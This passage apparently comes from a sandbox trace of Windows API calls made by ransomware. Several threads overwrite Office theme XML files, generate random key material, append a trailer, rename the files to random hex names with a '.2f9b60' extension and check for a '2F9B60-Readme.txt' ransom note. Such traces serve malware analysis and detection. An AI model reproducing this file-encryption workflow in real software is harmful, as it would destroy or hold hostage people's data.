BaseAddress=0x1b82c170) returned 1 [0100.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f230 [0100.887] sprintf (in: _Dest=0x1cd9f230, _Format="%c%c" | out: _Dest="be") returned 2 [0100.887] sprintf (in: _Dest=0x1cd9f232, _Format="%c%c" | out: _Dest="33") returned 2 [0100.887] sprintf (in: _Dest=0x1cd9f234, _Format="%c%c" | out: _Dest="0a") returned 2 [0100.887] sprintf (in: _Dest=0x1cd9f236, _Format="%c%c" | out: _Dest="66") returned 2 [0100.887] sprintf (in: _Dest=0x1cd9f238, _Format="%c%c" | out: _Dest="cd") returned 2 [0100.887] sprintf (in: _Dest=0x1cd9f23a, _Format="%c%c" | out: _Dest="14") returned 2 [0100.887] sprintf (in: _Dest=0x1cd9f23c, _Format="%c%c" | out: _Dest="ea") returned 2 [0100.887] sprintf (in: _Dest=0x1cd9f23e, _Format="%c%c" | out: _Dest="01") returned 2 [0100.888] sprintf (in: _Dest=0x1cd9f240, _Format="%c%c" | out: _Dest="45") returned 2 [0100.888] sprintf (in: _Dest=0x1cd9f242, _Format="%c%c" | out: _Dest="7b") returned 2 [0100.888] sprintf (in: _Dest=0x1cd9f244, _Format="%c%c" | out: _Dest="e8") returned 2 [0100.888] sprintf (in: _Dest=0x1cd9f246, _Format="%c%c" | out: _Dest="6a") returned 2 [0100.888] sprintf (in: _Dest=0x1cd9f248, _Format="%c%c" | out: _Dest="df") returned 2 [0100.888] sprintf (in: _Dest=0x1cd9f24a, _Format="%c%c" | out: _Dest="8d") returned 2 [0100.888] sprintf (in: _Dest=0x1cd9f24c, _Format="%c%c" | out: _Dest="8c") returned 2 [0100.888] sprintf (in: _Dest=0x1cd9f24e, _Format="%c%c" | out: _Dest="9a") returned 2 [0100.888] sprintf (in: _Dest=0x1cd9f250, _Format="%c%c" | out: _Dest="04") returned 2 [0100.888] sprintf (in: _Dest=0x1cd9f252, _Format="%c%c" | out: _Dest="55") returned 2 [0100.888] sprintf (in: _Dest=0x1cd9f254, _Format="%c%c" | out: _Dest="20") returned 2 [0100.888] sprintf (in: _Dest=0x1cd9f256, _Format="%c%c" | out: _Dest="d5") returned 2 [0100.888] sprintf (in: _Dest=0x1cd9f258, _Format="%c%c" | out: _Dest="0a") returned 2 [0100.888] sprintf (in: _Dest=0x1cd9f25a, _Format="%c%c" | out: _Dest="5f") returned 2 [0100.888] sprintf (in: _Dest=0x1cd9f25c, _Format="%c%c" | out: _Dest="e5") returned 2 [0100.888] sprintf (in: _Dest=0x1cd9f25e, _Format="%c%c" | out: _Dest="17") returned 2 [0100.888] sprintf (in: _Dest=0x1cd9f260, _Format="%c%c" | out: _Dest="ad") returned 2 [0100.888] sprintf (in: _Dest=0x1cd9f262, _Format="%c%c" | out: _Dest="a4") returned 2 [0100.888] RtlInitAnsiString (in: DestinationString=0x27edfe08, SourceString="be330a66cd14ea01457be86adf8d8c9a045520d50a5fe517ada4" | out: DestinationString="be330a66cd14ea01457be86adf8d8c9a045520d50a5fe517ada4") [0100.888] RtlAnsiStringToUnicodeString (in: DestinationString=0x27edfdd8, SourceString="be330a66cd14ea01457be86adf8d8c9a045520d50a5fe517ada4", AllocateDestinationString=1 | out: DestinationString="be330a66cd14ea01457be86adf8d8c9a045520d50a5fe517ada4") returned 0x0 [0100.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b8673c0 [0100.889] wcscat (in: _Dest=0x1067c0, _Source="be330a66cd14e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\be330a66cd14e") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\be330a66cd14e" [0100.889] wcscat (in: _Dest=0x1067c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\be330a66cd14e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\be330a66cd14e.2f9b60" [0100.889] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\be330a66cd14e.2f9b60", NtPathName=0x27edfdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\be330a66cd14e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0100.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776cb0 [0107.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776cb0) returned 1 [0107.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99b10) returned 1 [0107.201] NtQueryInformationFile (in: FileHandle=0xe30, IoStatusBlock=0x27edfe18, FileInformation=0x27edfe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27edfe18, FileInformation=0x27edfe28) returned 0x0 [0107.201] NtSetInformationFile (FileHandle=0xe30, IoStatusBlock=0x27edfe18, FileInformation=0x27edfe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1067c0) returned 1 [0107.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8673c0) returned 1 [0107.224] FlushFileBuffers (hFile=0xe30) returned 1 [0107.426] CloseHandle (hObject=0xe30) returned 1 [0107.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1079c0 [0107.427] wcscpy (in: _Dest=0x1079c0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0107.427] wcscat (in: _Dest=0x1079c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0107.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0107.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0107.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a54f0) returned 1 Thread: id = 592 os_tid = 0x1024 [0094.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml")) returned 0x20 [0095.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml", dwFileAttributes=0x20) returned 1 [0095.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe60 [0095.171] GetFileSizeEx (in: hFile=0xe60, lpFileSize=0x2843f880 | out: lpFileSize=0x2843f880*=964) returned 1 [0095.171] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.171] ReadFile (in: hFile=0xe60, lpBuffer=0x2843f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2843f848, lpOverlapped=0x0 | out: lpBuffer=0x2843f800*, lpNumberOfBytesRead=0x2843f848*=0x4, lpOverlapped=0x0) returned 1 [0095.445] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0095.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0095.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fe0 [0095.446] NtQuerySystemTime (in: CurrentTime=0x2843f740 | out: CurrentTime=0x2843f740*=132462177012826000) returned 0x0 [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x6e1dc627 [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x2fdc38a9 [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x25f44a3b [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x75991cf9 [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x35b0bc41 [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x55c8b049 [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x92df708 [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x76769c40 [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x49b4c901 [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x46e6104d [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x57eec305 [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x2fb31bb7 [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x4d49f1a [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x11825caa [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0xeb3b50c [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x26d00687 [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x23427585 [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0xfe57140 [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x556a1e86 [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0xb493139 [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x4f0fb86f [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x4b1a788f [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x167a58d5 [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x6581b1af [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x6b7a1d04 [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x3c0fa9bf [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x318f8782 [0095.446] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x1cf0db32 [0095.447] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x59059870 [0095.447] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x3b35c6c5 [0095.447] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x15d7575e [0095.447] RtlRandomEx (in: Seed=0x2843f730 | out: Seed=0x2843f730) returned 0x25152c [0095.464] ReadFile (in: hFile=0xe60, lpBuffer=0x201e6910, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x2843f730, lpOverlapped=0x0 | out: lpBuffer=0x201e6910*, lpNumberOfBytesRead=0x2843f730*=0x3c4, lpOverlapped=0x0) returned 1 [0095.464] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.464] WriteFile (in: hFile=0xe60, lpBuffer=0x201ea520*, nNumberOfBytesToWrite=0x3c4, lpNumberOfBytesWritten=0x2843f734, lpOverlapped=0x0 | out: lpBuffer=0x201ea520*, lpNumberOfBytesWritten=0x2843f734*=0x3c4, lpOverlapped=0x0) returned 1 [0095.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0095.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f580 [0095.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f580) returned 1 [0095.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ea520) returned 1 [0095.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201e6910) returned 1 [0095.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866940) returned 1 [0095.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973a0) returned 1 [0095.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85f580 [0095.729] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.730] WriteFile (in: hFile=0xe60, lpBuffer=0x167040*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2843f850, lpOverlapped=0x0 | out: lpBuffer=0x167040*, lpNumberOfBytesWritten=0x2843f850*=0x10c, lpOverlapped=0x0) returned 1 [0095.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0095.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866440 [0095.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8430 [0095.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8430) returned 1 [0095.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1ced8430 [0095.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8400 [0095.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8340 [0095.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8340) returned 1 [0095.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0095.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0095.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f0f0 [0095.989] sprintf (in: _Dest=0x1cd9f0f0, _Format="%c%c" | out: _Dest="54") returned 2 [0095.989] sprintf (in: _Dest=0x1cd9f0f2, _Format="%c%c" | out: _Dest="97") returned 2 [0095.989] sprintf (in: _Dest=0x1cd9f0f4, _Format="%c%c" | out: _Dest="1e") returned 2 [0095.990] sprintf (in: _Dest=0x1cd9f0f6, _Format="%c%c" | out: _Dest="0a") returned 2 [0095.990] sprintf (in: _Dest=0x1cd9f0f8, _Format="%c%c" | out: _Dest="f5") returned 2 [0095.990] sprintf (in: _Dest=0x1cd9f0fa, _Format="%c%c" | out: _Dest="06") returned 2 [0095.990] sprintf (in: _Dest=0x1cd9f0fc, _Format="%c%c" | out: _Dest="b9") returned 2 [0095.990] sprintf (in: _Dest=0x1cd9f0fe, _Format="%c%c" | out: _Dest="ba") returned 2 [0095.990] sprintf (in: _Dest=0x1cd9f100, _Format="%c%c" | out: _Dest="8d") returned 2 [0095.990] sprintf (in: _Dest=0x1cd9f102, _Format="%c%c" | out: _Dest="d7") returned 2 [0095.990] sprintf (in: _Dest=0x1cd9f104, _Format="%c%c" | out: _Dest="d5") returned 2 [0095.990] sprintf (in: _Dest=0x1cd9f106, _Format="%c%c" | out: _Dest="8a") returned 2 [0095.990] sprintf (in: _Dest=0x1cd9f108, _Format="%c%c" | out: _Dest="8f") returned 2 [0095.990] sprintf (in: _Dest=0x1cd9f10a, _Format="%c%c" | out: _Dest="55") returned 2 [0095.990] sprintf (in: _Dest=0x1cd9f10c, _Format="%c%c" | out: _Dest="7c") returned 2 [0095.990] sprintf (in: _Dest=0x1cd9f10e, _Format="%c%c" | out: _Dest="b7") returned 2 [0095.990] sprintf (in: _Dest=0x1cd9f110, _Format="%c%c" | out: _Dest="2f") returned 2 [0095.990] sprintf (in: _Dest=0x1cd9f112, _Format="%c%c" | out: _Dest="14") returned 2 [0095.990] sprintf (in: _Dest=0x1cd9f114, _Format="%c%c" | out: _Dest="85") returned 2 [0095.990] sprintf (in: _Dest=0x1cd9f116, _Format="%c%c" | out: _Dest="28") returned 2 [0095.990] sprintf (in: _Dest=0x1cd9f118, _Format="%c%c" | out: _Dest="6d") returned 2 [0095.990] sprintf (in: _Dest=0x1cd9f11a, _Format="%c%c" | out: _Dest="63") returned 2 [0095.990] sprintf (in: _Dest=0x1cd9f11c, _Format="%c%c" | out: _Dest="40") returned 2 [0095.990] sprintf (in: _Dest=0x1cd9f11e, _Format="%c%c" | out: _Dest="4f") returned 2 [0095.990] sprintf (in: _Dest=0x1cd9f120, _Format="%c%c" | out: _Dest="81") returned 2 [0095.991] sprintf (in: _Dest=0x1cd9f122, _Format="%c%c" | out: _Dest="68") returned 2 [0095.991] RtlInitAnsiString (in: DestinationString=0x2843f8c8, SourceString="54971e0af506b9ba8dd7d58a8f557cb72f1485286d63404f8168" | out: DestinationString="54971e0af506b9ba8dd7d58a8f557cb72f1485286d63404f8168") [0095.991] RtlAnsiStringToUnicodeString (in: DestinationString=0x2843f898, SourceString="54971e0af506b9ba8dd7d58a8f557cb72f1485286d63404f8168", AllocateDestinationString=1 | out: DestinationString="54971e0af506b9ba8dd7d58a8f557cb72f1485286d63404f8168") returned 0x0 [0095.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b8664c0 [0095.991] wcscat (in: _Dest=0x107d80, _Source="54971e0af506b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\54971e0af506b") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\54971e0af506b" [0095.991] wcscat (in: _Dest=0x107d80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\54971e0af506b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\54971e0af506b.2f9b60" [0095.991] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\54971e0af506b.2f9b60", NtPathName=0x2843f870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\54971e0af506b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776930 [0104.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776930) returned 1 [0104.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266a40) returned 1 [0104.740] NtQueryInformationFile (in: FileHandle=0xe60, IoStatusBlock=0x2843f8d8, FileInformation=0x2843f8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2843f8d8, FileInformation=0x2843f8e8) returned 0x0 [0104.740] NtSetInformationFile (FileHandle=0xe60, IoStatusBlock=0x2843f8d8, FileInformation=0x2843f8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107d80) returned 1 [0105.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0105.345] FlushFileBuffers (hFile=0xe60) returned 1 [0105.350] CloseHandle (hObject=0xe60) returned 1 [0105.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279130 [0105.453] wcscpy (in: _Dest=0x20279130, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0105.453] wcscat (in: _Dest=0x20279130, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0105.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0105.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279130) returned 1 [0105.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5ff0) returned 1 Thread: id = 593 os_tid = 0x1028 [0094.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml")) returned 0x20 [0095.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml", dwFileAttributes=0x20) returned 1 [0095.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe34 [0095.132] GetFileSizeEx (in: hFile=0xe34, lpFileSize=0x2835f6a0 | out: lpFileSize=0x2835f6a0*=959) returned 1 [0095.132] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x3bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.132] ReadFile (in: hFile=0xe34, lpBuffer=0x2835f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2835f668, lpOverlapped=0x0 | out: lpBuffer=0x2835f620*, lpNumberOfBytesRead=0x2835f668*=0x4, lpOverlapped=0x0) returned 1 [0095.369] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0095.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced74d0 [0095.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7410 [0095.369] NtQuerySystemTime (in: CurrentTime=0x2835f560 | out: CurrentTime=0x2835f560*=132462177012046000) returned 0x0 [0095.369] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x5149dda7 [0095.370] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x301554a9 [0095.370] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x53bf8382 [0095.370] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x11c7356 [0095.370] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x19b6be8f [0095.370] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x60e8c746 [0095.370] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x4cfe7b95 [0095.370] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x68cbe1c [0095.370] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x6d6d90a3 [0095.370] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x59552be4 [0095.370] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x2c064c65 [0095.381] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x1197e25c [0095.381] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x5136495d [0095.381] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x2cca565f [0095.381] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x67b93277 [0095.381] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x559a792b [0095.381] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x4663e39e [0095.381] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x59f4c24c [0095.381] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x30694239 [0095.381] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x717c686c [0095.381] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x25680cdf [0095.381] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x3d422fc5 [0095.381] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x25f7fd6a [0095.381] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x395724a [0095.381] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x2e0922b6 [0095.381] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x49b0ed6f [0095.381] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x26cdebb9 [0095.381] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x64965b81 [0095.381] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x3409d109 [0095.381] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x7eab135c [0095.381] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x4903f41c [0095.381] RtlRandomEx (in: Seed=0x2835f550 | out: Seed=0x2835f550) returned 0x3fbc91d9 [0095.395] ReadFile (in: hFile=0xe34, lpBuffer=0x201c4990, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0x2835f550, lpOverlapped=0x0 | out: lpBuffer=0x201c4990*, lpNumberOfBytesRead=0x2835f550*=0x3bf, lpOverlapped=0x0) returned 1 [0095.395] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.395] WriteFile (in: hFile=0xe34, lpBuffer=0x201b9560*, nNumberOfBytesToWrite=0x3bf, lpNumberOfBytesWritten=0x2835f554, lpOverlapped=0x0 | out: lpBuffer=0x201b9560*, lpNumberOfBytesWritten=0x2835f554*=0x3bf, lpOverlapped=0x0) returned 1 [0095.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0095.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0095.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8e0) returned 1 [0095.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201b9560) returned 1 [0095.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201c4990) returned 1 [0095.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0095.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973f0) returned 1 [0095.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85f8e0 [0095.732] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.732] WriteFile (in: hFile=0xe34, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2835f670, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x2835f670*=0x102, lpOverlapped=0x0) returned 1 [0096.012] RtlAllocateHeap (HeapHandle=0xa0000, 